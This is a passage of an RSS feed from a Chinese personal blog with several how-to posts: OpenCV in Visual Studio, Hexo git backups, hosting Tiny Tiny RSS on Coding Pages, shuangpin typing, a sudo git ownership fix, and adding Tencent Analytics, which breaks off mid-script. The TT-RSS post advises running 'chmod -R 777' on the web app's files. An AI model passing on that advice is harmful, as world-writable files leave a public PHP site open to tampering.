      <title>Windows10 配置 OpenCV3.4.1 + Visual Studio</title>
      <link>https://cat.ms/posts/install-opencv-windows-vs/</link>
      <description>
        <![CDATA[<p>Windows 下安装 OpenCV 以及配环境的事情，对于 VS 来说一点都不麻烦，简单几步就可以在 VS 中使用 OpenCV 这个库。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/OpenCV/">OpenCV</category>
      <category domain="https://cat.ms/tags/OpenCV/">OpenCV</category>
      <category domain="https://cat.ms/tags/C/">C++</category>
      <category domain="https://cat.ms/tags/Visual-Studio/">Visual Studio</category>
      <pubDate>Fri, 29 Jun 2018 07:54:41 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>Windows 下安装 OpenCV 以及配环境的事情，对于 VS 来说一点都不麻烦，简单几步就可以在 VS 中使用 OpenCV 这个库。</p><span id="more"></span><h2 id="下载-OpenCV">下载 OpenCV<a class="header-anchor" href="#下载-OpenCV"></a></h2><p>OpenCV 的下载链接：<a href="https://opencv.org/releases.html">https://opencv.org/releases.html</a></p><p>选择 Windows 版本的下载。</p><p>下载下来是一个 <code>.exe</code> 格式的可执行文件，运行之后选择安装目录就可以。我选的是 <code>c:/opencv</code>，之后的教程都是有关这个目录的。</p><h2 id="配置系统变量">配置系统变量<a class="header-anchor" href="#配置系统变量"></a></h2><p>打开系统设置界面（可以在小娜上输入「系统设置」），小娜就会帮你打开高级系统设置，点击环境变量，在系统变量的 Path 一栏中新建两个：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C:\opencv\build\bin</span><br><span class="line">C:\opencv\build\x64\vc14\bin</span><br></pre></td></tr></tbody></table></figure><p>打开 VS，创建一个项目。</p><p>属性页 -&gt; VC++ 目录 -&gt; 包含文件目录：</p><ul><li>C:\opencv\build\include\</li><li>C:\opencv\build\include\opencv2</li><li>C:\opencv\build\include\opencv</li></ul><p>库目录：</p><ul><li>C:\opencv\build\x64\vc14\lib</li></ul><p>链接器 -&gt; 输入 -&gt; 附加依赖项：</p><ul><li>opencv_world341d.lib</li></ul><p>如果是 release 的话就是把 d 去掉 opencv_world341.lib</p><h2 id="测试">测试<a class="header-anchor" href="#测试"></a></h2><p>测试一下</p><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">"cv.h"</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">"highgui.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">    IplImage* src = <span class="built_in">cvLoadImage</span>(<span class="string">"C:\\1.png"</span>);<span class="comment">//此处的路径，一定是绝对路径，相对路径会报错的</span></span><br><span class="line">    <span class="built_in">cvNamedWindow</span>(<span class="string">"showImage"</span>);</span><br><span class="line">    <span class="built_in">cvShowImage</span>(<span class="string">"showImage"</span>, src);</span><br><span class="line">    <span class="built_in">cvWaitKey</span>(<span class="number">0</span>);</span><br><span class="line">    <span class="built_in">cvReleaseImage</span>(&amp;src);</span><br><span class="line">    <span class="built_in">cvDestroyWindow</span>(<span class="string">"showImage"</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>如何创建一个更好的 Hexo 使用体验</title>
      <link>https://cat.ms/posts/to-build-a-better-hexo/</link>
      <description>
        <![CDATA[<p>我经常在 webide 更新博客，但这只限于有网络的情况下。想本地调试的话，在没网之前就需要把源文件同步到本地来。这个功能用 <code>git</code> 来实现会非常好。<br>
大概的思路就是在博客的仓库创建一个分支来备份源文件。<br>
在部署网页之前可以先把源文件同步到备份分支，然后需要的时候本地拉取回来。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Hexo/">Hexo</category>
      <category domain="https://cat.ms/tags/Hexo/">Hexo</category>
      <pubDate>Wed, 17 Jan 2018 02:24:03 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>我经常在 webide 更新博客，但这只限于有网络的情况下。想本地调试的话，在没网之前就需要把源文件同步到本地来。这个功能用 <code>git</code> 来实现会非常好。<br>大概的思路就是在博客的仓库创建一个分支来备份源文件。<br>在部署网页之前可以先把源文件同步到备份分支，然后需要的时候本地拉取回来。</p><span id="more"></span><hr><h2 id="备份到仓库">备份到仓库<a class="header-anchor" href="#备份到仓库"></a></h2><p>你需要安装好 git。<br>首先，你要在博客根目录下添加远程仓库。</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># git remote add [shortname] [url]</span></span><br><span class="line"><span class="comment"># [shortname] 设置仓库的名称</span></span><br><span class="line"><span class="comment"># [url] 远程仓库的链接</span></span><br><span class="line">git remote add hexo https://git.coding.net/Artin/Artin.git</span><br></pre></td></tr></tbody></table></figure><p>然后创建一个新的分支：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git branch backup</span><br></pre></td></tr></tbody></table></figure><p>切换到 backup 分支：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git checkout backup</span><br></pre></td></tr></tbody></table></figure><p>然后在博客根目录下执行：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git add .</span><br><span class="line">git commit -am <span class="string">"update"</span></span><br><span class="line">git push hexo backup</span><br></pre></td></tr></tbody></table></figure><p>你可以去看看 <a href="http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000">廖雪峰的 git 教程</a></p><p>关于 push 主题失败的同学，把主题中的.git 给删掉就 ok 了，或者不推送主题。</p><hr><h2 id="更加便携的方法">更加便携的方法<a class="header-anchor" href="#更加便携的方法"></a></h2><p>首先，在博客根目录创建一个 <code>git.sh</code>。在里面输入如下代码：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash/</span></span><br><span class="line"><span class="comment"># 这里的路径是你的博客的路径</span></span><br><span class="line"><span class="built_in">cd</span> /home/ubuntu/workspace/hexo/</span><br><span class="line"><span class="built_in">echo</span> <span class="string">"执行 hexo clean"</span></span><br><span class="line">hexo clean</span><br><span class="line"><span class="built_in">echo</span> <span class="string">"hexo clean 执行完毕"</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"推送源代码"</span></span><br><span class="line">git add .</span><br><span class="line">git commit -am <span class="string">"update"</span></span><br><span class="line">git push hexo master</span><br><span class="line"><span class="built_in">echo</span> <span class="string">"推送源代码 执行完毕"</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"执行 hexo g -d"</span></span><br><span class="line">hexo g -d</span><br><span class="line"><span class="built_in">echo</span> <span class="string">"hexo g -d 执行完毕"</span></span><br></pre></td></tr></tbody></table></figure><p>以后想要更新博客，直接在博客根目录下输入:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sh git.sh</span><br></pre></td></tr></tbody></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>使用 Coding 的动态 Pages 搭建 TT - RSS</title>
      <link>https://cat.ms/posts/coding-pages-tinytinyrss/</link>
      <description>
        <![CDATA[<p>2019 年 2 月 17 日 16:20:57 更新：<br>
已经失效了！！<br>
已经失效了！！</p>
<p>现在部署可以一键部署了，但是已经无法获取 rss 更新了。</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">failed to open stream: no suitable wrapper could be found</span><br></pre></td></tr></tbody></table></figure>
<hr>
<p>先说结论，不够好用，弃坑了，用国内的一览提供的 rss 服务。<br>
多平台支持，和 inoreader 相比速度更快，而且对于目前我订阅的源来说并没有不可阅读的，而且在 inoreader 上看不了電腦玩物的图片（因为 refer 的问题），在一览上没问题的。</p>
<h2 id="关于-ttrss">关于 ttrss<a class="header-anchor" href="#关于-ttrss"></a></h2>
<p>因为很喜欢关注科技界的新闻，需要一个聚合来看新闻的软件。<br>
说不上是 rss 重度使用者吧，但是还是每天必刷新闻的<br>
用了各种新闻软件之后，发现 rss 才是正道，不会被推荐打扰，就订阅那么几个源。每天刷一刷。<br>
现在微信公众号几乎都不怎么看了，二者功能几乎重复哈哈哈哈哈</p>
<p>ttrss 即为 tinytinyrss (<a href="https://tt-rss.org/">https://tt-rss.org/</a>)<br>
可以自己控制的自定义项较多的 rss 服务，<br>
多平台支持<br>
android 上推荐 feedme，最新的 3.5.1 版本支持了 tinytinyrss，体验很好。<br>
之前用 inoreader 的时候就用的 feedme，已通过 play 请开发者吃了个苹果哈哈哈哈哈，<br>
tinytinyrss 也就是在 php 环境下安装的，pc 上用浏览器打开就可以了。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/RSS/">RSS</category>
      <category domain="https://cat.ms/tags/RSS/">RSS</category>
      <category domain="https://cat.ms/tags/Coding/">Coding</category>
      <category domain="https://cat.ms/tags/Coding-Pages/">Coding Pages</category>
      <pubDate>Mon, 15 Jan 2018 06:31:34 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>2019 年 2 月 17 日 16:20:57 更新：<br>已经失效了！！<br>已经失效了！！</p><p>现在部署可以一键部署了，但是已经无法获取 rss 更新了。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">failed to open stream: no suitable wrapper could be found</span><br></pre></td></tr></tbody></table></figure><hr><p>先说结论，不够好用，弃坑了，用国内的一览提供的 rss 服务。<br>多平台支持，和 inoreader 相比速度更快，而且对于目前我订阅的源来说并没有不可阅读的，而且在 inoreader 上看不了電腦玩物的图片（因为 refer 的问题），在一览上没问题的。</p><h2 id="关于-ttrss">关于 ttrss<a class="header-anchor" href="#关于-ttrss"></a></h2><p>因为很喜欢关注科技界的新闻，需要一个聚合来看新闻的软件。<br>说不上是 rss 重度使用者吧，但是还是每天必刷新闻的<br>用了各种新闻软件之后，发现 rss 才是正道，不会被推荐打扰，就订阅那么几个源。每天刷一刷。<br>现在微信公众号几乎都不怎么看了，二者功能几乎重复哈哈哈哈哈</p><p>ttrss 即为 tinytinyrss (<a href="https://tt-rss.org/">https://tt-rss.org/</a>)<br>可以自己控制的自定义项较多的 rss 服务，<br>多平台支持<br>android 上推荐 feedme，最新的 3.5.1 版本支持了 tinytinyrss，体验很好。<br>之前用 inoreader 的时候就用的 feedme，已通过 play 请开发者吃了个苹果哈哈哈哈哈，<br>tinytinyrss 也就是在 php 环境下安装的，pc 上用浏览器打开就可以了。</p><span id="more"></span><h2 id="关于-coding-的动态-pages">关于 coding 的动态 pages<a class="header-anchor" href="#关于-coding-的动态-pages"></a></h2><p>coding 提供了免费的动态 pages，可以用来架设自己的个人动态博客。<br>但是我最近在 rss 服务选择上犯了选择困难证，刚好想到之前看到过 ttrss<br>coding 提供了 php + mysql 的环境，于是想试一试。要准备的东西：</p><ul><li>coding webide</li><li>coding pages</li><li>baidu <strong>or</strong> google</li></ul><hr><h2 id="安装-tinytinyrss">安装 tinytinyrss<a class="header-anchor" href="#安装-tinytinyrss"></a></h2><p>首先你需要注册一个 coding 的账户<a href="https://coding.net/">coding.net</a></p><h3 id="创建一个仓库备用">创建一个仓库备用<a class="header-anchor" href="#创建一个仓库备用"></a></h3><p><img data-src="https://i.cat.ms/posts/coding-pages-tinytinyrss/5628f3350c95.png" alt="image"></p><p>这里会显示当前的仓库地址，复制留着备用。ssh 或者 https 都可以。ssh 要先配置好 ssh 的权限。</p><h3 id="下载-tt-rss-的源码传到-git-上">下载 tt-rss 的源码传到 git 上<a class="header-anchor" href="#下载-tt-rss-的源码传到-git-上"></a></h3><h4 id="使用-git-clone">使用 git clone<a class="header-anchor" href="#使用-git-clone"></a></h4><p>tiny 是一个开源项目，项目链接：<a href="https://git.tt-rss.org/fox/tt-rss">https://git.tt-rss.org/git/tt-rss/src/master</a>如果你的电脑没装 git 的话建议用 coding 提供的 webide，秒开很省心，而且 push 代码的时候很快很快的。免费用户可以可且仅可开一个。在安卓平台上也有提供 linux 终端的的软件，如 NeoTerm 和 Termux。先把源代码 clone 到本地</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://git.tt-rss.org/git/tt-rss.git</span><br></pre></td></tr></tbody></table></figure><p>克隆好后，修改<code>/tt-rss/.git/config</code>文件里的 remote url 为你的仓库地址 (图里红框的位置)，仓库地址刚刚创建的时已经显示出来了</p><p><img data-src="https://i.cat.ms/posts/coding-pages-tinytinyrss/5a5c3e29a6434.png" alt="5a5c3e29a6434.png"></p><blockquote><p>无法克隆的可以直接去版本发布中下载最新版。<br><a href="https://git.tt-rss.org/fox/tt-rss/releases">https://git.tt-rss.org/fox/tt-rss/releases</a></p></blockquote><hr><h4 id="直接上传-zip-包">直接上传 zip 包<a class="header-anchor" href="#直接上传-zip-包"></a></h4><p>在这里下载最新的版本。</p><p><a href="https://git.tt-rss.org/fox/tt-rss/releases">https://git.tt-rss.org/fox/tt-rss/releases</a></p><p>解压之后可以看到本地多了一个<code>tt-rss</code>的文件夹，打开文件夹。输入：</p><figure class="highlight shell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">git init</span><br><span class="line">git remote add 你创建的仓库地址</span><br><span class="line">git add -A .</span><br><span class="line">git commit -am "upload tt-rss"</span><br></pre></td></tr></tbody></table></figure><p>比如我的就是:<br><img data-src="https://i.cat.ms/posts/coding-pages-tinytinyrss/3e689e0fe950.png" alt="image"></p><p>如果执行完 commit 发现有提示 <code>Please tell me who you are.</code>就按照提示设置自己的邮箱和用户名。<br>设置完之后再执行一遍最后一句 <code>commit</code>。<br>出现一堆 <code>create mode xxx</code> 的提示就可以了。</p><h4 id="设置文件权限">设置文件权限<a class="header-anchor" href="#设置文件权限"></a></h4><p>在这步有一个小问题，需要把目录下的每个文件的权限都设置成 777, 否则后面会遇到文件无法读写导致站点无法访问的问题。在终端输入</p><figure class="highlight shell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chmod -R 777 .</span><br></pre></td></tr></tbody></table></figure><p>保存好后就可以 push 到仓库里了，</p><blockquote><p>如果你创建仓库的时候勾选了「使用 readme 初始化仓库」，那么你在 push 的时候会遇到文件冲突。<br>方法是：修改了仓库地址之后先把本地的 <a href="http://readme.md">readme.md</a> 删除掉，<br>然后使用 <code>git pull</code> 将远程仓库的 <a href="http://readme.md">readme.md</a> 拉回本地。</p></blockquote><p>push 的方法很简单</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 进入你的 ttrss 文件夹下使用下面的命令</span></span><br><span class="line"><span class="built_in">cd</span> tt-rss</span><br><span class="line"><span class="comment"># 不需要进行 add 和 commit</span></span><br><span class="line">git push -u origin master</span><br></pre></td></tr></tbody></table></figure><p><img data-src="https://i.cat.ms/posts/coding-pages-tinytinyrss/2cda85122c5e.png" alt="image"></p><p>输入你的用户名密码就可以了，一般来说输入密码的时候是不可见的，不用担心。</p><h3 id="开启动态-Pages">开启动态 Pages<a class="header-anchor" href="#开启动态-Pages"></a></h3><p>打开你的仓库，在侧边上选择 pages, 然后选择 tab 上的 <strong>动态 Pages</strong></p><p><img data-src="https://i.cat.ms/posts/coding-pages-tinytinyrss/5a5c4125bfd47.png" alt="5a5c4125bfd47.png"></p><p><strong>一定要等待部署完成后才能使用</strong></p><h3 id="配置-tinyrss">配置 tinyrss<a class="header-anchor" href="#配置-tinyrss"></a></h3><p>部署完成后打开上面给的链接，会来到<a href="http://969983a8-xxxx-xxxx-xxxx-2ac8183353ad.coding.io/install/">http://969983a8-xxxx-xxxx-xxxx-2ac8183353ad.coding.io/install/</a><br>要开始对 tiny 的配置了，在仓库的 pages 页面有数据库的连接信息，按相应的填到框中就可以了。</p><p><img data-src="https://i.cat.ms/posts/coding-pages-tinytinyrss/5a5c435383b2d.png" alt="5a5c435383b2d.png"></p><p>如果不需要改访问目录的话就直接点 <code>Test configuration</code>，然后 <code>Initialize database</code> 就可以了</p><p><img data-src="https://i.cat.ms/posts/coding-pages-tinytinyrss/5a5c435390342.png" alt="5a5c435390342.png"></p><p>在 <code>Generated configuration file</code> 这一步，不要点击 <strong>Save configuration</strong>，我们自己创建一个。方便我们之后调整 config。<br>在刚刚的 <code>tt-rss</code> 目录下创建 <code>config.php</code>，将图中文本框的内容复制进去<br>打开 <code>.gitignore</code> 文件，把 config，php 字样去掉才能 push，否则 git 会忽视这个文件。<br>继续将修改好的代码 push 到仓库</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git add .</span><br><span class="line">git commit -m <span class="string">"push config.php"</span></span><br><span class="line">git push origin master</span><br></pre></td></tr></tbody></table></figure><p>等待再次部署好<br>就可以访问了，默认的用户名密码为 <code>admin</code> 和 <code>password</code>。</p><h3 id="更好用的-tinytiny">更好用的 tinytiny<a class="header-anchor" href="#更好用的-tinytiny"></a></h3><p>进去之后会让你改密码。<br>设置中有很多选项，也有很多插件，大家可以百度一下。<br>你需要启用 API 访问才能使用第三方客户端登陆。<br>推荐关闭「在连续模式下自动展开文章」和「合并信息源，使之连续显示」。<br>总之自己使用吧，还是很好玩的。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>来用用双拼吧</title>
      <link>https://cat.ms/posts/use-shuangpin/</link>
      <description>
        <![CDATA[<p>Hello everybody,long time no see.</p>
<p>时隔数月，终于更了第二篇文章，现在我想介绍一种输入方法，不同于平时使用的全拼，叫双拼，双拼和全拼或五笔一样，是一种输入方法 。</p>
<p>双拼是用「定义好的单字母」代替「较长的多字母韵母或声母」来进行输入的一种方法。</p>
<p>比如说我想用拼音打「程序员」三个字，用全拼方案就要打 <code>cheng xv yuan</code>，而用小鹤双拼方案只需要打 <code>ig xu yr</code>，比全拼的效率高了不少。</p>
<p>这篇文章只是介绍一下双拼入门，而我也只是个初级使用者，还有很多更高级的使用方法就靠你自己学了。</p>
<p>文章后会给几个链接，搭配本文食用更佳。</p>
<p>实际使用感受我只能说：比全拼打的快，比五笔学的快。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/%E5%8F%8C%E6%8B%BC/">双拼</category>
      <category domain="https://cat.ms/tags/%E5%8F%8C%E6%8B%BC/">双拼</category>
      <category domain="https://cat.ms/tags/%E6%95%88%E7%8E%87/">效率</category>
      <pubDate>Fri, 02 Dec 2016 14:21:26 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>Hello everybody,long time no see.</p><p>时隔数月，终于更了第二篇文章，现在我想介绍一种输入方法，不同于平时使用的全拼，叫双拼，双拼和全拼或五笔一样，是一种输入方法 。</p><p>双拼是用「定义好的单字母」代替「较长的多字母韵母或声母」来进行输入的一种方法。</p><p>比如说我想用拼音打「程序员」三个字，用全拼方案就要打 <code>cheng xv yuan</code>，而用小鹤双拼方案只需要打 <code>ig xu yr</code>，比全拼的效率高了不少。</p><p>这篇文章只是介绍一下双拼入门，而我也只是个初级使用者，还有很多更高级的使用方法就靠你自己学了。</p><p>文章后会给几个链接，搭配本文食用更佳。</p><p>实际使用感受我只能说：比全拼打的快，比五笔学的快。</p><span id="more"></span><hr><h2 id="概念">概念<a class="header-anchor" href="#概念"></a></h2><p>先来一段百科上的：</p><blockquote><p>双拼是一种建立在拼音输入法基础上的输入方法，可视为全拼的一种改进，它通过将汉语拼音中每个含多个字母的声母或韵母各自映射到某个按键上，使得每个音都可以用最多两次按键打出，极大地提高了拼音输入法的输入速度。(此处说的只是拼音输入法…)</p></blockquote><p>第一次知道双拼是看了少数派的一篇文章 <a href="http://sspai.com/32809/">做少数派中的少数派：双拼输入快速入门</a>，里面推荐的是用<strong>小鹤双拼</strong>，就一直在用 (其实也就学习了这么一种…)。很多输入法都支持小鹤双拼的。</p><h2 id="学习使我快乐">学习使我快乐<a class="header-anchor" href="#学习使我快乐"></a></h2><p>学双拼要记得住每个键对应的声母和韵母，这有张小鹤的码表，同学你一定要记住它。<img data-src="https://i.cat.ms/posts/use-shuangpin/hejp.png" alt="键位图">当时想着能在空余时间练习一下。于是用草稿纸画了一张上面那个图，事实证明这招很有效，放在桌上慢慢打字练手感，这个表和小鹤双拼的口诀 已经是要学习的全部内容。一开始我也背了这个口诀，后来打熟练了就能记住键位了，口诀也忘了…：</p><blockquote><p>&nbsp;<ruby>快<rt> Kuai</rt></ruby>&nbsp; &nbsp;<ruby>迎<rt> ing</rt></ruby>&nbsp; &nbsp;<ruby>两<rt> Liang</rt></ruby>&nbsp; &nbsp;<ruby>王<rt> uang</rt></ruby>&nbsp; &nbsp;<ruby>软<rt> Ruan</rt></ruby>&nbsp; &nbsp;<ruby>草<rt> Cao</rt></ruby>&nbsp; &nbsp;<ruby>走<rt> Zou</rt></ruby>&nbsp;， &nbsp;<ruby>特<rt> T</rt></ruby>&nbsp; &nbsp;<ruby>约<rt> ue</rt></ruby>&nbsp; &nbsp;<ruby>秋<rt> Qiu</rt></ruby>&nbsp; &nbsp;<ruby>云<rt> Yun</rt></ruby>&nbsp; &nbsp;<ruby>为<rt> Wei</rt></ruby>&nbsp; &nbsp;<ruby>见<rt> Jan</rt></ruby>&nbsp; &nbsp;<ruby>面<rt> Mian</rt></ruby>&nbsp;。</p><p>&nbsp;<ruby>夏<rt> Xia</rt></ruby>&nbsp; &nbsp;<ruby>娃<rt> ua</rt></ruby>&nbsp; &nbsp;<ruby>怂<rt> Song</rt></ruby>&nbsp; &nbsp;<ruby>恿<rt> iong</rt></ruby>&nbsp; &nbsp;<ruby>书<rt> shU</rt></ruby>&nbsp; &nbsp;<ruby>痴<rt> chI</rt></ruby>&nbsp; &nbsp;<ruby>追<rt> zhVi</rt></ruby>&nbsp;， &nbsp;<ruby>更<rt> Geng</rt></ruby>&nbsp; &nbsp;<ruby>待<rt> Dai</rt></ruby>&nbsp; &nbsp;<ruby>滨<rt> Bin</rt></ruby>&nbsp; &nbsp;<ruby>鸟<rt> Niao</rt></ruby>&nbsp; &nbsp;<ruby>分<rt> Fen</rt></ruby>&nbsp; &nbsp;<ruby>撇<rt> Pie</rt></ruby>&nbsp; &nbsp;<ruby>航<rt> Hang</rt></ruby>&nbsp;？</p></blockquote><p>把这首小诗结合上面的键位图看一下，就能看懂了。比如说<code>Kuai ing</code>就是<code>K</code>这个键作韵母时对应两个韵母<code>uai</code>和<code>ing</code>。举个例子：</p><ul><li>我打 "快" 我要按的键是 "kk" <code>k</code> + <code>uai</code></li><li>我打 "赢" 我要按的键是 "yk" <code>y</code> + <code>ing</code></li></ul><hr><h2 id="练习">练习<a class="header-anchor" href="#练习"></a></h2><p>先介绍个在线练习的网站：<strong>双拼在线练习 - <a href="http://typing.sjz.io">typing.sjz.io</a></strong>，请使用 pc 端浏览器进入。</p><ul><li>练习使用键盘： <a href="http://typing.sjz.io/#/keyboard/">http://typing.sjz.io/#/keyboard/</a></li><li>练习打文章： <a href="http://typing.sjz.io/#/article/">http://typing.sjz.io/#/article/</a></li></ul><p>推荐先打打古诗词，因为很多诗词都押韵。打起来比较爽快。</p><p>目前发现这个网站就是有些多音字的拼音处理的不好，标出来的不是正确的读音，练习的时候需要注意拼音。还有就是说 文章字数太多可能会卡。</p><p>在下面可以下载到一个跟打器，可以本地练习打字的。</p><h2 id="资源">资源<a class="header-anchor" href="#资源"></a></h2><ul><li><a href="http://flypy.com/">小鹤官网</a></li><li><a href="http://tieba.baidu.com/f?kw=%E5%B0%8F%E9%B9%A4%E5%8F%8C%E6%8B%BC&amp;ie=utf-8">小鹤双拼贴吧</a></li><li><a href="http://flypy.ys168.com/">小鹤官方资源网盘 (跟打器在飞扬版目录下的打字练习文件夹内)</a></li></ul><h2 id="一些链接">一些链接<a class="header-anchor" href="#一些链接"></a></h2><p>这里再给出我参考的一部分网址，感谢：</p><ul><li>官方贴吧的<a href="http://tieba.baidu.com/p/4844692703">教程</a></li><li>少数派的<a href="http://sspai.com/32809/">教程</a></li><li><a href="http://baike.so.com/doc/5949140-6162080.html">360 百科</a></li></ul><hr><p>OK，That’s all. 愿你能喜欢上双拼。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>关于手贱执行了 sudo git 之后那些事</title>
      <link>https://cat.ms/posts/sudo-git-fix/</link>
      <description>
        <![CDATA[<p>在 Ubuntu 下用 git 的时候使用了 <code>sudo git add</code> 命令，导致每次不使用 <code>sudo</code> 前缀都无法对仓库进行操作。因为用了 sudo 之后普通用户组就没有操作的权限了。在 stackoverflow 找到了解决办法。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Git/">Git</category>
      <category domain="https://cat.ms/tags/Linux/">Linux</category>
      <pubDate>Fri, 22 Jul 2016 01:45:38 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>在 Ubuntu 下用 git 的时候使用了 <code>sudo git add</code> 命令，导致每次不使用 <code>sudo</code> 前缀都无法对仓库进行操作。因为用了 sudo 之后普通用户组就没有操作的权限了。在 stackoverflow 找到了解决办法。</p> <span id="more"></span><p>首先我们要知道自己的用户和用户组的 id，在终端输入</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">id</span> -a</span><br></pre></td></tr></tbody></table></figure><p>就能显示出来用户跟组的 id：</p><p><img data-src="https://i.cat.ms/posts/sudo-git-fix/Snipaste_2018-01-25_14-48-31.png" alt="Snipaste_2018-01-25_14-48-31.png"></p><p>接下来需要用 chown 命令：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> .git/objects</span><br><span class="line"><span class="built_in">ls</span> -al</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">chown</span> -R uid:<span class="built_in">groups</span> *</span><br><span class="line"><span class="comment"># 将 uid 和 groups 换成你自己的</span></span><br></pre></td></tr></tbody></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>为 yelee 主题加入腾讯分析</title>
      <link>https://cat.ms/posts/add-tencent-analytics-to-yelee/</link>
      <description>
        <![CDATA[<p>hexo 的原生主题自带了谷歌分析, 而谷歌分析在国内水土不服。琢磨琢磨，把 next 主题上的腾讯分析添加到了正在用的 yelee 主题上。顺带一提，腾讯分析真的是用过的最好用的站点统计软件。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Hexo/">Hexo</category>
      <category domain="https://cat.ms/tags/Hexo/">Hexo</category>
      <category domain="https://cat.ms/tags/%E4%B8%BB%E9%A2%98/">主题</category>
      <pubDate>Fri, 15 Jul 2016 02:58:13 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>hexo 的原生主题自带了谷歌分析, 而谷歌分析在国内水土不服。琢磨琢磨，把 next 主题上的腾讯分析添加到了正在用的 yelee 主题上。顺带一提，腾讯分析真的是用过的最好用的站点统计软件。</p><span id="more"></span><p>用的主题是 yelee，没有腾讯分析，自己加了一个。在 <code>主题目录</code> 下操作。在 <code>_config.yml</code> 中添加</p><figure class="highlight yml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">tencent-analytics:</span></span><br><span class="line"><span class="comment"># 在冒号后面配置你的腾讯分析 id，id 就是获取到的代码的数字部分</span></span><br></pre></td></tr></tbody></table></figure><p>在 <code>layout/_partial/</code> 中创建一个新的 <code>tencent-analytics.ejs</code> 文件,加入如下代码：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;% if (theme.tencent_analytics){ %&gt;</span><br><span class="line">&lt;script type="text/javascript" src="http://tajs.qq.com/stats?sId=&lt;%= theme.tencent_analytics %&gt;" charset="UTF-8"&gt;&lt;/script&gt;</span><br><span class="line"></span><br><span class="line">&lt;script type="text/javascript"&gt;</span><br><span class="line">    var _speedMark = new Date();</span><br><span 